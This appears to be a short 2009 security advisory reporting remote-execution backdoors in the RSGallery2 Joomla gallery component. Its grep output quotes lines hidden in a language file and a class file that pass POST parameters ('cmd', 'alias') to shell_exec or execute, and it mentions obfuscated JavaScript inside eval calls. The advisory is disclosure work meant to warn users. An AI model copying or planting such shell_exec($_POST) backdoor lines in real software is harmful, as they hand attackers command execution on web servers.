Joomla! Component com_rsgallery2 1.14.x/2.x - Remote Backdoor Access








	Remote code execution back door(s)

	RSGallery2 - Gallery Extension for Joomla!
	We are currently working on a new website. All files are still available at 
	the JoomlaCode project page.

	Not a big deal.  Joomla components contain all sorts of obfuscated junk all 
	the time.  Who cares what it does?

URLs: says, about these releases:
	RSGallery2 1.14.3 Security Release
	Jonah Braun
	This is an updated production alpha containing a low threat security fix. If 
	you use commenting you should upgrade. An option to show/hide the Search box 	
	has also been added. See the official site for downloads and support:

	RSGallery2 2.0.0b1 released
	John Caprez
	This is the first version of RSGallery2 that runs in Joomla 1.5 native mode.
	Special thanks goes to all the translators providing the updated language 
	files and the testers of the nightly builds.
 	Download it and enjoy. Feel free to report any bugs or problems in the forum 
	at the RSGallery2 main web site 

Vendor notified:
  I tried.  Not very hard though.  joomlacode doesn't seem to have a security 
  contact and links to as if they are the same crowd.  I'm sending 
  a BCC to the given address for Jonah Braun though.  I'll send it to bugtraq, 
  and they will sit on it for a few hours.
      Huh?  Do I need more coffee, or does this page say to contact them using 
      the details at this page?  So you do that, and it says ... no wait, 
      infloop.  Oh wait, there is a contact form.  Filled something in.  Blah.


% wget \

% unzip

% egrep -r '(eval|exec).*POST' .

./language/english-utf8.php:                $result = 
shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
./language/english-utf8.php:            $result = shell_exec($_POST['cmd'] . " 
./includes/rsgallery.class.php:$out = execute($_POST['cmd']);
./includes/rsgallery.class.php:$out = execute($_POST['alias']);

There's other fun obfuscated javascript hiding in 'eval's'.

Ditto version 2

nuf sed  &:-)

# [2009-05-26]